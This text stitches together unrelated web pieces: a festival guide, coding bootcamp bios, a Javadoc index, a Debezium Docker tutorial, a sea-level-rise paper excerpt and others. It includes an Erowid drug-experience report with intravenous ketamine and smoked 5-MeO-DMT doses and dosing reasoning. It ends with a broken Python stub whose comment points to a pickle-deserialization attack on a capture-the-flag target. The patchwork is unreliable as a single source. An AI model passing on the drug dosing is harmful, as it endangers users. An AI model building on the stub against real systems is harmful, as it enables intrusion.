The festival scene this year is filled with some fantastic acts from all genres, with old favourites and fresh artists with promising careers ahead of them. So what do we recommend for the summer festival tour?
Parklife
The Manchester weekender is presenting some of the best international acts and home-grown talent such as MOBO award winners Stormzy and Skepta.
When: 11 – 12 June 2016
Where: Heaton Park, Manchester
Headline Acts: Major Lazer and the Chemical Brothers
Isle of Wight Festival
Isle of Wight Festival is coming back with a bang and a host of great acts, reaching back to its roots presenting some of the top music talent. This year’s event is bound to be a good one with rock Legends Queen as one of the headline acts.
When: 9 – 12 June 2016
Where: Newport, Isle of Wight
Headline Acts: Queen, Faithless, The Stereophonics
V Festival
V Festival is turning 21 this year and it’s celebrating with all the top acts, including this year’s hugely successful headliners Rihanna and Justin Bieber. Look out for other top acts such as Sia, David Guetta, Bastille and Little Mix.
When: 20 – 21 August 2016
Where: Chelmsford / Weston-under-Lizard
Headline Acts: Justin Bieber, Rihanna
Reading and Leeds
For the more alternative taste, Reading and Leeds’ line-up of some of the most prominent indie, punk and metal artists will be the highlight of your musical summer.
When: 26 – 28 August 2016
Where: Reading, Leeds
Headline Acts: Red Hot Chilli Peppers, The 1975, Courteneers
6 Music Festival
Our wildcard this year is 6 Music Festival, presenting top music talent perhaps more on the fringe, so if you’re looking to expand your music taste or find some great up-and-coming bands, this is the festival to check out!
When: 12 – 14 February 2016
Where: Bristol
Headline Acts: Primal Scream, Foals, Suede
Do the festivals you're going to appear on our list? Let us know on social media!


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Welcome to my Portfolio!
StartRecently graduated Full-Stack Web Developer proficient in Python, MEAN, and Ruby on Rails stacks with a background in finance and education. Equipped with an eclectic intellectual toolbox unique for the technology world. Seeker of knowledge and creator of forward-thinking ideas.
Download My ResumePlease contact me for more information or if you'd like to work on a project together. I look forward to hearing from you.


A B C D E F G I M N P R S T U V W
All Classes All Packages
All Classes All Packages
All Classes All Packages
M
- main(String[]) - Static method in class BPTree.TestBPTree
- main(String[]) - Static method in class RASQL.comparablePolygon
- main(String[]) - Static method in class RASQL.DBApp
- main(String[]) - Static method in class RASQL.DBAppTest
- main(String[]) - Static method in class RASQL.SQLTerm
- merge(BPTreeInnerNode<T>, int) - Method in class BPTree.BPTreeInnerNode
-
try to merge with left or right sibling in case of overflow
- merge(BPTreeInnerNode<T>, int) - Method in class BPTree.BPTreeLeafNode
-
merges the current node with its left or right sibling
- merge(BPTreeLeafNode<T>) - Method in class BPTree.BPTreeLeafNode
-
merge the current node with the specified node.
- merge(Comparable<T>, BPTreeInnerNode<T>) - Method in class BPTree.BPTreeInnerNode
-
merge the current node with the passed node and pulling the passed key from the parent to be inserted with the merged node
- merge(comparablePolygon, RTreeInnerNode) - Method in class RTree.RTreeInnerNode
-
merge the current node with the passed node and pulling the passed key from the parent to be inserted with the merged node
- merge(RTreeInnerNode, int) - Method in class RTree.RTreeInnerNode
-
try to merge with left or right sibling in case of overflow
- merge(RTreeInnerNode, int) - Method in class RTree.RTreeLeafNode
-
merges the current node with its left or right sibling
- merge(RTreeLeafNode) - Method in class RTree.RTreeLeafNode
-
merge the current node with the specified node.
- minKeys() - Method in class BPTree.BPTreeInnerNode
- minKeys() - Method in class BPTree.BPTreeLeafNode
-
finds the minimum number of keys the current node must hold
- minKeys() - Method in class BPTree.BPTreeNode
- minKeys() - Method in class RTree.RTreeInnerNode
- minKeys() - Method in class RTree.RTreeLeafNode
-
finds the minimum number of keys the current node must hold
- minKeys() - Method in class RTree.RTreeNode
All Classes All Packages


Mikhail Priver
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{% extends 'base.html' %} {% load static %} {% block title %} Manage Expenses for {{ camp.title }} | BackOffice | {{ block.super }} {% endblock %} {% block content %}
This view shows all expenses for {{ camp.title }}. If any unapproved expenses exist they are shown in a seperate table at the top of the page, followed by the table with all the approved expenses.
{% if unapproved_expenses %}This table shows all unapproved expenses for {{ camp.title }}.
{% include 'includes/expense_list_panel.html' with expense_list=unapproved_expenses %} {% else %}No unapproved expenses found for {{ camp.title }}.
{% endif %}


--- layout: page title: "HTTP Alternate Services" description: "This document specifies \"alternative services\" for HTTP, which allow an origin's resources to be authoritatively available at a separate network location, possibly accessed with a different protocol configuration." ---
| Document Name: | RFC 7838 |
|---|---|
| Document URI: |
urn:ietf:rfc:7838
|
| Online Version: |
https://datatracker.ietf.org/doc/html/rfc7838
|
| Organization: | Internet Engineering Task Force (IETF) |
| Series: | Request for Comments (RFC) |
| Abstract: | This document specifies "alternative services" for HTTP, which allow an origin's resources to be authoritatively available at a separate network location, possibly accessed with a different protocol configuration. |
Alt-Svc
,
Alt-Used
0xa
Return to ( Series | Organization | all Specifications )


All hell broke loose when the Advanced Plasma Physics Laboratory in Princeton, N.J. set up a site in the desert ecosystem to showcase its work on a fusion reactor. Since the federal government had mauled APPL funding, the only thing left for the Lab to do was virtual reality testing. So they had developed, in the late 1990s, this tremendous VR program which they eventually hitched up to a portal in the vCity. By linking to the site in the vCity, people could see exactly how a fusion reactor might work.
I thought this was a very cool techsimm, but a lot of people had a lot of problems with it. The desert environmentalists went apeshit, fearing the results of a catastrophic failure. What most people do not understand, contrary to many exciting blow-em-up scenes in the movies, is that the results of catastrophic failure to maintain plasma in a magnetic containment field is pretty dull. It goes ploop, and everything stops. No, the problem the environmentalists had with the fusion reactor was that it required a fission reactor for start-up. To produce more power than it consumes, a fusion power plant is literally one big sucker.
A lot of engineers from around the world also criticized the model because, aside from the fact that the experts haven't even figured out how to sustain a core over the long-term, nobody knows exactly how to link that core to more traditional forms of steam or molten-salt driven turbine technology. I thought that was pretty funny -- engineers arguing against a model of a future technology on the grounds that they hadn't invented parts of it yet. Huh? What did they think the vCity was for? Advertising?
Actually, the best argument against the establishment of a fusion power generator was the same one used against the establishment of fission power generators. Just because something is technically possible and economically efficient, argued the critics, doesn't mean it is socially desirable or politically "efficient". Laying aside public safety concerns about containment and long-term storage of spent fuel rods, nuclear fission plants are essentially undemocratic because they concentrate political and economic power instead of decentralizing it. So even if they do bring desirable things to the table, such as plenty of kilowatts at low air pollution cost, they carry with them unwanted socio-political baggage.
Where is that letter? Ah, here it is, I still have this one in the archives. Here is what one of our vCitizens wrote about the issue of power plants:
[snip]
Big power plants of any kind are centralizing -- in terms
of capital, labor, and political authority -- when the whole idea
is to decentralize wherever possible. Nevertheless, the simpler,
older technologies of steam-turbine generators fueled by oil,
gas, or coal are somewhat democratic in the sense that they are
understandable, reproducible on a medium-size scale, and deconstructable.
The advantages of using regular and exotic forms of hydrocarbon
and petrochemical fuels is obvious: more kilowatts per kilogram of fuel.
The disadvantages are legion. It's hard to say which does greater
damage: despoiling the landscape and seascape, flora, and fauna
by drilling and mining; despoiling various parts of the planet by
spilling stuff all over the place; polluting the air, water, and land
by refining and distribution; by releasing toxic by-products into
the atmosphere; by creating architectural eyesores upon the land;
or by diverting human resources that could probably be put to better use elsewhere.
Tough call.


--- layout: archive title: "Publication" permalink: /publications/hapticsTexture.html author_profile: true ---
Abstract: Data-driven texture modeling and rendering has pushed the limit of realism in haptics. However, the lack of haptic texture databases, difficulties of model interpolation and expansion, and the complexity of real textures prevent data-driven methods from capturing a large variety of textures and from customizing models to suit specific output hardware or user needs. This work proposes an interactive texture generation and search framework driven by user input. We design a GAN-based texture model generator, which can create a wide range of texture models using Auto-Regressive processes. Our interactive texture search method, which we call preference-driven, follows an evolutionary strategy given guidance from user's preferred feedback within a set of generated texture models. We implemented this framework on a 3D haptic device and conducted a two-phase user study to evaluate the efficiency and accuracy of our method for previously unmodeled textures. The results showed that by comparing the feel of real and generated virtual textures, users can follow an evolutionary process to efficiently find a virtual texture model that matched or exceeded the realism of a data-driven model. Furthermore, for 4 out of 5 real textures, 80% of the preference-driven models from participants were rated comparable to the data-driven models.
Our results:


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--- layout: page title: About header-img: "img/centralprk.jpg" ---
Silhouette model for men at work signs


My name is Sihem. I came to the United States 6 years ago from the country of Algeria. I studied computer science there and graduated with a Master's degree in information systems. When I joined my husband in the United States in 2013, I didn't speak English so I had to start from the bottom of the workforce. I started by working in retail stores then worked as a school bus driver for the Iowa City Community School District for 5 years. I recently heard about DeltaV coding school. I decided to join for the 101 class to see how it was and ended up signing for all of the courses through 401. It was about time for me to go back to what I am most passionate about; computer science. e<EMAIL_ADDRESS>My name is Lilly McBride. I am a current student at Delta V code school studying to become a full stack developer. I have skills in html, css, and javascript, and am working on learning node.js, angular.js, react, and bootstrap. I am passionate about writing code and finding nuanced solutions to problems. I have extensive experience working in fast paced restaurant environments and am looking for work as a developer in the Cedar Rapids, Iowa City area starting in July of 2020. e<EMAIL_ADDRESS>c:<PHONE_NUMBER>
My name is Justin Shroyer. I have a strong business and customer service background. I ended up deciding to go back to school and got a bachelor's degree in computer science. I worked in various software support roles before enrolling in DeltaV to improve my web programming skills. My long term goal is to move into a developer position and start making better use of my degree. e<EMAIL_ADDRESS>Hi, I’m Yvette Clapp. I have a MBA in Finance and over 15 years of management experience and over 20 years of leadership experience. I recently completed courses in Data Analysis and Project Management and am currently attending DeltaV Coding School. At DeltaV, I have completed 101 and 102, am finishing 201, and starting 301 the last week of March. My goal is to get to 401 in the near future. I have proven experience of leading teams through process changes successfully. Many changes I have been involved in improved the SLAs of the department significantly. Process efficiency is a passion for me. This passion has generated many process changes that greatly reduces human error and an increase in SLA results. My goal is to continually improve myself and most recently to reinvent myself into a career in website coding where I can utilize my passions to the benefit of the customer. Contacting me is simple! e<EMAIL_ADDRESS>c:<PHONE_NUMBER>


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| DOSE: T+ 0:00 |
75 mg |
IV |
Ketamine |
(liquid) |
| T+ 2:30 |
30 mg |
smoked |
5-MeO-DMT |
(powder / crystals) |
Ketamine, used to be (to me) just a plain anaesthetic, with no real potential or useful effects. Well, until last night, when it's more seductive and escapist effect took a hold of me and I reached what I could interpret only as a state of 'nirvana' - a state of bliss attained through loss of the self and the ego. It wasn't just a regular removal of these aspects as one may experience at some levels of dextromethorphan usage, as I could clearly define these aspects with ease, but they remained constantly 'over there', out of the way in a safe place. This, I thought, was what other ketamine users had found before me and why it poses problems with addiction in some individuals.
My previous two experiments with ketamine were varied in themselves. The first, at a 40mg dose left me feeling numb, plain and bored, the second at 90mg throwing me into the timeless, reality-less space commonly called the K-Hole, and left me feeling awful for days afterwards. 'This can't be what all the excitement's all about!' I thought to myself, and decided to persevere with the experimentation.
The next week is where the fun began...
To start, I measured out 75mg in a syringe and added a hypodermic needle. I had my friend (we'll call him A) inject the substance intravenously while I was in my bedroom, at roughly 10pm, sitting in my beloved reclining chair which I use for all my experiments and has become a comfortable loving place for me. I chose to inject intravenously because, then the right amount could be injected and I could prompt my friend to stop at the right amount. I couldn't inject it myself because I would've lost muscle control before injecting the right amount.
OK - here goes.
T+00
As A injected the serum into my vein, I felt the normal sensation of dissolution, numbness and flight getting more and more intense. Oh it was good, up and up and up until...
STOP!
Hit the nail bang on the head!
Perfect this time. I was in a place of complete blackness, solitude and warmth. I could look at myself from a different view and delve into every little part of my id, my ego and my superego. Even the little lies I'd tell myself to try and change reality could come forth with no pain and straighten themselves out, and I could clearly recall it all afterwards with no problems. Probing into this creature from afar was interesting - the little nuances and idiosyncracies, his dark and cynical sense of humour and his intelligence & potential all became apparent and I could construct a set of objectives for him to follow when he came out of this state and came back together with his observer.
There was a certain presence of the 'k-hole' sigma present. If I were to search I could find it. There were a few seconds where I was tempted to enter the swirling tunnel - it looked so calm and peaceful. The creature (myself) I was observing tried to enter but couldn't, so that was fair warning that I couldn't also. It didn't matter, though, because I was at a very good place myself which didn't really need improvement.
As I was finishing my inspecton / objective routine, the effects started to taper. Upon opening my eyes, my once comfortable bedroom had changed - the walls a patterning marbled green, the ceiling white and hazy and A, who was lying on the settee having injected himself with a smaller amount, and was enjoying a joint looked up & exclaimed 'oh. you've come around.. how was it?'

I didn't note his reply - i think he just went back to his joint whileI lit a cigarette, feeling like I'd just been through a string of cosmic sex, & lay back, satisfied with what I'd done while in the state. The duration so far? roughly an hour and a half.
T+2:30
By this time I had what I'd call an 'anaesthetic hangover' - i'd come past the normal hallucinations of emergence and felt pleasantly relaxed. A & myself agreed that rounding off the evening with a hit of 5-MeO DMT would he entirely appropiate. I measured out 30mg, A opted for 15mg (I'll say this - 30mg is an _extremely_ intense ride and not at all for somebody who's just experimenting with this drug. It can be quite traumatic if you haven't tried lower doses first). A took the first hit and lay back, assuring me that he was comfortable at his dose. 'Okay, now my turn' I said, eagerly anticipating my hit.
I loaded the pipe, and thought for a second 'Is this a good idea?'
my next thought was 'the K will change it, so be prepared!'. So with the lighter in one hand and the pipe held to my mouth with the other, I proceeded to volatilize the crystals and inhale a large hit.
The onset was very intense as soon ans the smoke entered my lungs. As far as trips go, the effects of this particular trip have been the most intense yet. My vision immediately went white, followed by immediate monochrome psychedelic effects (very weird) and then... blackness again. I felt as is my heart was going very slowly, waiting an eternity between each pronounced 'thump', all I could feel were the tired muscles on my face stuck in the grin position.
A remarkable image came before my eyes - a parallel world mirrored from the earth, which at some time merged with our planet to create the world we have today. A world of sin and unlimited blasphemy merging with an utopian realm of sincere bliss, an 'eden'. Such was the energy of this mergance that the earth ejected an intermediate, dead and rocky body - the moon. The little beings on this planet creating fire, inventing new tinkertoys and evolving within an instant. The next moment, it was all gone - the apocalypse occurring as a flash of white light and the earth disappearing into nothingness at the next instant.
As the feelings began to taper, I came back to reality, and looked upon my room once more. It was just the same as I remembered - my calm, peaceful room and everything had an overlay of warm colourful waviness. One thouhgt remained before I retired for the night, a sense of renewed optimism. Upon awakening tomorrow I'll get done what my objectives sought for and do what I can to get things done.
T+3:15
Time for sleep - the residual stimulation from the 5meo is gone and I feel extremely tired.
This, once again is a reiteration of my principle that synergistic drugs should be taken carefully when combined. For a while I lost myself, and if another individual were to find hisself / herself in the same situation with no knowlege of when such an experience would end, panic may occur - leading to a nasty situation.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Starting the services
Using Debezium requires three separate services: ZooKeeper, Kafka, and the Debezium connector service. In this tutorial, you will set up a single instance of each service using Docker and the Debezium Docker images.
To start the services needed for this tutorial, you must:
Considerations for running Debezium with Docker
This tutorial uses Docker and the Debezium Docker images to run the ZooKeeper, Kafka, Debezium, and MySQL services. Running each service in a separate container simplifies the setup so that you can see Debezium in action.
|
In a production environment, you would run multiple instances of each service to provide performance, reliability, replication, and fault tolerance. Typically, you would either deploy these services on a platform like OpenShift or Kubernetes that manages multiple Docker containers running on multiple hosts and machines, or you would install on dedicated hardware. |
You should be aware of the following considerations for running Debezium with Docker:
-
The containers for ZooKeeper and Kafka are ephemeral.
ZooKeeper and Kafka would typically store their data locally inside the containers, which would require you to mount directories on the host machine as volumes. That way, when the containers are stopped, the persisted data remains. However, this tutorial skips this setup - when a container is stopped, all persisted data is lost. This way, cleanup is simple when you complete the tutorial.
For more information about storing persistent data, see the documentation for the Docker images.
-
This tutorial requires you to run each service in a different container.
To avoid confusion, you will run each container in the foreground in a separate terminal. This way, all of the output of a container will be displayed in the terminal used to run it.
Docker also allows you to run a container in detached mode (with the
-d
option), where the container is started and thedocker
command returns immediately. However, detached mode containers do not display their output in the terminal. To see the output, you would need to use thedocker logs --follow --name <container-name>
command. For more information, see the Docker documentation.
Starting Zookeeper
ZooKeeper is the first service you must start.
-
Open a terminal and use it to start ZooKeeper in a container.
This command runs a new container using version 1.0 of the
debezium/zookeeper
image:$ docker run -it --rm --name zookeeper -p 2181:2181 -p 2888:2888 -p 3888:3888 debezium/zookeeper:1.0
-it
-
The container is interactive, which means the terminal’s standard input and output are attached to the container.
--rm
-
The container will be removed when it is stopped.
--name zookeeper
-
The name of the container.
-p 2181:2181 -p 2888:2888 -p 3888:3888
-
Maps three of the container’s ports to the same ports on the Docker host. This enables other containers (and applications outside of the container) to communicate with ZooKeeper.
-
Verify that ZooKeeper started and is listening on port
2181
.You should see output similar to the following:
Starting up in standalone mode ZooKeeper JMX enabled by default Using config: /zookeeper/conf/zoo.cfg 2017-09-21 07:15:55,417 - INFO [main:QuorumPeerConfig@134] - Reading configuration from: /zookeeper/conf/zoo.cfg 2017-09-21 07:15:55,419 - INFO [main:DatadirCleanupManager@78] - autopurge.snapRetainCount set to 3 2017-09-21 07:15:55,419 - INFO [main:DatadirCleanupManager@79] - autopurge.purgeInterval set to 1 ... port <IP_ADDRESS>/<IP_ADDRESS>:2181 (1)
1 This line indicates that ZooKeeper is ready and listening on port 2181. The terminal will continue to show additional output as ZooKeeper generates it.
Starting Kafka
After starting ZooKeeper, you can start Kafka in a new container.
|
Debezium 1.1.0.Beta2 has been tested against multiple versions of Kafka Connect. Please refer to the Debezium Test Matrix to determine compatibility between Debezium and Kafka Connect. |
-
Open a new terminal and use it to start Kafka in a container.
This command runs a new container using version 1.0 of the
debezium/kafka
image:$ docker run -it --rm --name kafka -p 9092:9092 --link zookeeper:zookeeper debezium/kafka:1.0
-it
-
The container is interactive, which means the terminal’s standard input and output are attached to the container.
--rm
-
The container will be removed when it is stopped.
--name kafka
-
The name of the container.
-p 9092:9092
-
Maps port
9092
in the container to the same port on the Docker host so that applications outside of the container can communicate with Kafka. --link zookeeper:zookeeper
-
Tells the container that it can find ZooKeeper in the
zookeeper
container, which is running on the same Docker host.
In this tutorial, you will always connect to Kafka from within a Docker container. Any of these containers can communicate with the
kafka
container by linking to it. If you needed to connect to Kafka from outside of a Docker container, you would have to set the-e
option to advertise the Kafka address through the Docker host (-e ADVERTISED_HOST_NAME=
followed by either the IP address or resolvable host name of the Docker host). -
Verify that Kafka started.
You should see output similar to the following:
... 2017-09-21 07:16:59,085 - INFO [main-EventThread:ZkClient@713] - zookeeper state changed (SyncConnected) 2017-09-21 07:16:59,218 - INFO [main:Logging$class@70] - Cluster ID = LPtcBFxzRvOzDSXhc6AamA ... 2017-09-21 07:16:59,649 - INFO [main:Logging$class@70] - [Kafka Server 1], started (1)
1 The Kafka broker has successfully started and is ready for client connections. The terminal will continue to show additional output as Kafka generates it.
Starting a MySQL database
At this point, you have started ZooKeeper and Kafka, but you still need a database server from which Debezium can capture changes. In this procedure, you will start a MySQL server with an example database.
-
Open a new terminal, and use it to start a new container that runs a MySQL database server preconfigured with an
inventory
database.This command runs a new container using version 1.0 of the
debezium/example-mysql
image, which is based on the mysql:5.7 image. It also defines and populates a sampleinventory
database:$ docker run -it --rm --name mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=debezium -e MYSQL_USER=mysqluser -e MYSQL_PASSWORD=mysqlpw debezium/example-mysql:1.0
-it
-
The container is interactive, which means the terminal’s standard input and output are attached to the container.
--rm
-
The container will be removed when it is stopped.
--name mysql
-
The name of the container.
-p 3306:3306
-
Maps port
3306
(the default MySQL port) in the container to the same port on the Docker host so that applications outside of the container can connect to the database server. -e MYSQL_ROOT_PASSWORD=debezium -e MYSQL_USER=mysqluser -e MYSQL_PASSWORD=mysqlpw
-
Creates a user and password that has the minimum privileges required by the Debezium MySQL connector.
-
Verify that the MySQL server starts.
The MySQL server starts and stops a few times as the configuration is modified. You should see output similar to the following:
... 017-09-21T07:18:50.824629Z 0 [Note] mysqld: ready for connections. Version: '5.7.19-log' socket: '/var/run/mysqld/mysqld.sock' port: 3306 MySQL Community Server (GPL)
Starting a MySQL command line client
After starting MySQL, you start a MySQL command line client so that you access the sample inventory
database.
-
Open a new terminal, and use it to start the MySQL command line client in a container.
This command runs a new container using the mysql:5.7 image, and defines a shell command to run the MySQL command line client with the correct options:
$ docker run -it --rm --name mysqlterm --link mysql --rm mysql:5.7 sh -c 'exec mysql -h"$MYSQL_PORT_3306_TCP_ADDR" -P"$MYSQL_PORT_3306_TCP_PORT" -uroot -p"$MYSQL_ENV_MYSQL_ROOT_PASSWORD"'
-it
-
The container is interactive, which means the terminal’s standard input and output are attached to the container.
--rm
-
The container will be removed when it is stopped.
--name mysqlterm
-
The name of the container.
--link mysql
-
Links the container to the
mysql
container.
-
Verify that the MySQL command line client started.
You should see output similar to the following:
mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 3 Server version: 5.7.17-log MySQL Community Server (GPL) Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql>
-
At the
mysql>
command prompt, switch to the inventory database:mysql> use inventory;
-
List the tables in the database:
mysql> show tables; +---------------------+ | Tables_in_inventory | +---------------------+ | addresses | | customers | | geom | | orders | | products | | products_on_hand | +---------------------+ 6 rows in set (0.00 sec)
-
Use the MySQL command line client to explore the database and view the pre-loaded data in the database.
For example:
mysql> SELECT * FROM customers; +------+------------+-----------+-----------------------+ | id | first_name | last_name | email | +------+------------+-----------+-----------------------+ | 1001 | Sally | Thomas |<EMAIL_ADDRESS>| | 1002 | George | Bailey |<EMAIL_ADDRESS>| | 1003 | Edward | Walker |<EMAIL_ADDRESS>| | 1004 | Anne | Kretchmar |<EMAIL_ADDRESS>| +------+------------+-----------+-----------------------+ 4 rows in set (0.00 sec)
Starting Kafka Connect
After starting MySQL and connecting to the inventory
database with the MySQL command line client,
you start the Kafka Connect service.
This service exposes a REST API to manage the Debezium MySQL connector.
-
Open a new terminal, and use it to start the Kafka Connect service in a container.
This command runs a new container using the 1.0 version of the
debezium/connect
image:$ docker run -it --rm --name connect -p 8083:8083 -e GROUP_ID=1 -e CONFIG_STORAGE_TOPIC=my_connect_configs -e OFFSET_STORAGE_TOPIC=my_connect_offsets -e STATUS_STORAGE_TOPIC=my_connect_statuses --link zookeeper:zookeeper --link kafka:kafka --link mysql:mysql debezium/connect:1.0
-it
-
The container is interactive, which means the terminal’s standard input and output are attached to the container.
--rm
-
The container will be removed when it is stopped.
--name connect
-
The name of the container.
-p 8083:8083
-
Maps port
8083
in the container to the same port on the Docker host. This enables applications outside of the container to use Kafka Connect’s REST API to set up and manage new container instances. -e CONFIG_STORAGE_TOPIC=my_connect_configs -e OFFSET_STORAGE_TOPIC=my_connect_offsets -e STATUS_STORAGE_TOPIC=my_connect_statuses
-
Sets environment variables required by the Debezium image.
--link zookeeper:zookeeper --link kafka:kafka --link mysql:mysql
-
Links the container to the containers that are running ZooKeeper, Kafka, and the MySQL server.
-
Verify that Kafka Connect started and is ready to accept connections.
You should see output similar to the following:
... 2020-02-06 15:48:33,939 INFO || Kafka version: 2.4.0 [org.apache.kafka.common.utils.AppInfoParser] ... 2020-02-06 15:48:34,485 INFO || [Worker clientId=connect-1, groupId=1] Starting connectors and tasks using config offset -1 [org.apache.kafka.connect.runtime.distributed.DistributedHerder] 2020-02-06 15:48:34,485 INFO || [Worker clientId=connect-1, groupId=1] Finished starting connectors and tasks [org.apache.kafka.connect.runtime.distributed.DistributedHerder]
-
Use the Kafka Connect REST API to check the status of the Kafka Connect service.
Kafka Connect exposes a REST API to manage Debezium connectors. To communicate with the Kafka Connect service, you can use the
curl
command to send API requests to port 8083 of the Docker host (which you mapped to port 8083 in theconnect
container when you started Kafka Connect).These commands use
localhost
. If you are using a non-native Docker platform (such as Docker Toolbox), replacelocalhost
with the IP address of your Docker host.-
Open a new terminal and check the status of the Kafka Connect service:
$ curl -H "Accept:application/json" localhost:8083/ {"version":"2.4.0","commit":"cb8625948210849f"} (1)
1 The response shows that Kafka Connect version 2.4.0 is running. -
Check the list of connectors registered with Kafka Connect:
$ curl -H "Accept:application/json" localhost:8083/connectors/ [] (1)
1 No connectors are currently registered with Kafka Connect.
-


Monesco will help you create a completely unique and customized website design based on your needs. We create your logo, with colors, fonts and other design elements adapted to your requirements. We also integrate it into the media of social networks like Facebook, Twitter, Youtube, etc. We publish any content on the website provided.


Thermal expansion: We estimate thermal expansion with the constrained-extrapolation approach following eq. 1, driven by the global-mean temperature evolution estimated by MAGICC 16, 17. The comparison of our thermal expansion estimate for the year 2300 for the RCP2.6 scenario (median: 26 cm; central 66th percentile range: 17–36 cm, relative to 2000, Supplementary Data 3) can inform on the performance of our model. Other studies have reported 2300 steric sea-level rise of 6–37 cm relative to 1986–2005 for an ensemble of models of intermediate complexity 46 and 14–27 cm relative to 2006 for a set of six CMIP5 models 47. Sea-level rise through thermal expansion is thus for RCP2.6 comparable to more complex models. In line with CMIP5 model experiments 48, our steric sea-level rise component does not exhibit a decline in sea-level under the net-zero GHG scenarios until 2300, despite the projected global-mean temperature decline. Median sea-level rise ranges from 30 to 38 cm in 2300 for net-zero CO 2 scenarios and from 19 to 30 cm for net-zero GHG scenarios (Supplementary Data 4).
Mountain glaciers: We estimate the contribution from mountain glaciers following equation 1. Our estimate for the median contribution from glaciers until year 2300 is 15.9 cm for the RCP2.6 scenario (Supplementary Data 3). Median sea-level rise from glaciers ranges from 15.5 to 18.3 cm in 2300 for our net-zero CO 2 scenarios and 11 to 15.2 cm for net-zero GHG scenarios (Supplementary Data 4).
Greenland ice sheet: We estimate the contribution from Greenland’s surface mass balance following eq. 1. We use a response-function approach 39, 40 for the Greenland solid ice discharge due to missing long-term sensitivity estimates or past trends in observations. This assumes that frontal stress release 41 and runoff lubrication 42 can be approximated as linearly depending on the global-mean temperature anomaly (equation 4 in ref. 18). We recalibrate the Greenland surface mass balance and solid ice discharge parameterizations to updated observations 20, 21. These observations include the recent years of strong mass balance changes and lead to a larger spread in our calibrated parameters. Calibrated parameters are listed in Supplementary Data 5. The spread is reflected in higher 95th percentile estimates for both surface mass balance and solid ice discharge as compared to ref. 18. Median sea-level rise from the combined Greenland surface mass balance and solid ice discharge ranges from 45 to 61 cm in 2300 for our net-zero CO 2 scenarios and 32–48 cm for net-zero GHG scenarios (Supplementary Data 4).
Greenland has only limited marine-grounded regions that are open toward the ocean, ice drains predominantly through narrow fjords. The potential for large-scale self-accelerating marine ice sheet instability hence is also limited, in contrast to the Antarctic ice sheet. Warmer ocean temperatures will still affect ice loss, but this contribution is covered in our response-function approach. The approach yields continuing Greenland solid ice discharge throughout 2300 (median for RCP2.6 scenario: 23.5 cm, Supplementary Data 3). This differs from earlier observations of reduced discharge 49 and ice-sheet simulations showing a diminishing contribution from solid ice discharge 50– 52. These process-based simulations can however not fully resolve the narrow outlet glacier flow to the ocean that is central for solid ice discharge. They do not incorporate the deeper and larger subglacial basins 31 and deeper fjords 53 in new ice and ocean floor data, which suggest increased sensitivity to climate warming. The broad range (16–92 cm in 2300 for the RCP2.6 scenario, Supplementary Data 3) reflects at least partly our incomplete knowledge of this term.
Two feedbacks related to the surface mass balance may foster a self-sustained decay of the Greenland ice sheet. The melt-elevation feedback 27 can add to the directly temperature-driven sea-level contribution of our approach. In the model of ref. 27 the decay of the ice sheet occurs on a time scale longer than 10,000 years for 2 °C temperature increase over Greenland (their Fig. 3). In the SRES A1B scenario 54, a scenario without any climate policy and estimated year-2100 warming of 3–4 °C 55, the ice loss through this feedback has been estimated to be between 3.6 and 16% of the forcing-driven ice loss in 2200 (ref. 56). Relating this fraction to our scenarios with lower warming is however not straightforward. Still, both ref. 27 and ref. 56 show the bounded role of the feedback. We thus do not see the melt-elevation feedback sufficiently large to dismiss or invalidate our approach on the timescales and warming levels assessed here. In three recent publications process-based ice sheet models have been used to project future Greenland ice loss. Ref. 50 find a total (surface-mass-balance and ice-dynamic) contribution of 9 cm under RCP2.6 until 2300. Ref. 52 find 10 cm surface mass balance contribution from Greenland until 2100 under the RCP4.5 scenario. Ref. 57 find 4 (2–6) cm for the same scenario until 2100. The melt-albedo feedback 28 is not fully integrated in these studies and may render these model results too low. This feedback has a physical (less snow and more bare ice absorb more radiation) and a biological component (wetter conditions allow more ice surface algae growth 30, 58). There are currently no process-based simulations available that estimate future Greenland ice loss while fully including this feedback. Ref. 28 shows that the extreme 2012 conditions had similar low ice albedo conditions as projected for the end of the century, and therewith highlighted that models are still incomplete for such projections. Assuming that yearly repeated 2012 conditions can be used as an upper bound for climate scenarios that stay below 2 °C, the upper bound of 670 Gt mass loss in 2012 would lead to 56 cm sea-level rise when summed up for 300 years. This is about 13 cm above our 95th percentile surface mass balance estimate for Greenland for RCP2.6. If the melt-albedo feedback becomes a major driver of Greenland ice loss, these values could be exceeded. Research however now suggests that while the melt-albedo feedback enhances the ice loss, changes in the atmospheric circulation are the ultimate driver of the high melting in recent years 29, 30. A runaway feedback between atmospheric changes and the Greenland melt is not evident, which makes a self-sustained ice sheet collapse (as compared to climate-forcing driven collapse) less probable. Median sea-level rise from the combined Greenland surface mass balance and solid ice discharge ranges from 45 to 61 cm in 2300 for our net-zero CO 2 scenarios and 32–48 cm for net-zero GHG scenarios (Supplementary Data 4).
Antarctic ice sheet: We apply a parametrization for Antarctic mass loss 38, which incorporates increased sensitivity to global warming through two newly proposed instability mechanisms 59. The mechanisms suggest a tight link between future atmospheric warming and Antarctic ice discharge 19. The discharge thus also depends on the emission scenario. Our parametrization is calibrated to the results of ref. 19 and combines a slow and gradual response to global warming with a fast discharge term that mimics ice instability. Once a trigger temperature of 1.9–3.2 °C global-mean temperature rise is reached, the fast discharge adds to sea-level rise at a constant rate of 2–20 mm per year. Technical details are available at https://github.com/matthiasmengel/fast_ant_sid. Median sea-level rise from the Antarctic ice sheet ranges from 13 to 36 cm in 2300 for our net-zero CO 2 scenarios and 4–19 cm for net-zero GHG scenarios (Supplementary Data 4).
Ice sheet loss through the marine ice-sheet instability, which is initiated by warmer ocean waters, may not be fully covered by our method. Such instability may already be underway in West Antarctica 60– 62. The instability is difficult to directly link to anthropogenic climate change. While ref. 62 does not provide rates of sea level rise for the main phase of the collapse, simulations for West Antarctica as a whole indicate an upper bound of 5 cm in the first 200 years 63. The risk of ocean-driven marine-ice-sheet instability hence increases uncertainty in future sea level rise, but the numbers available from process-based simulations suggest a minor role for the timescale considered here. Once triggered and independent of the forcing, it would not affect relative changes between scenarios.


#!/usr/bin/env python
#Canape is writing request to a file and having cpickle read it later
import os
importcPickle
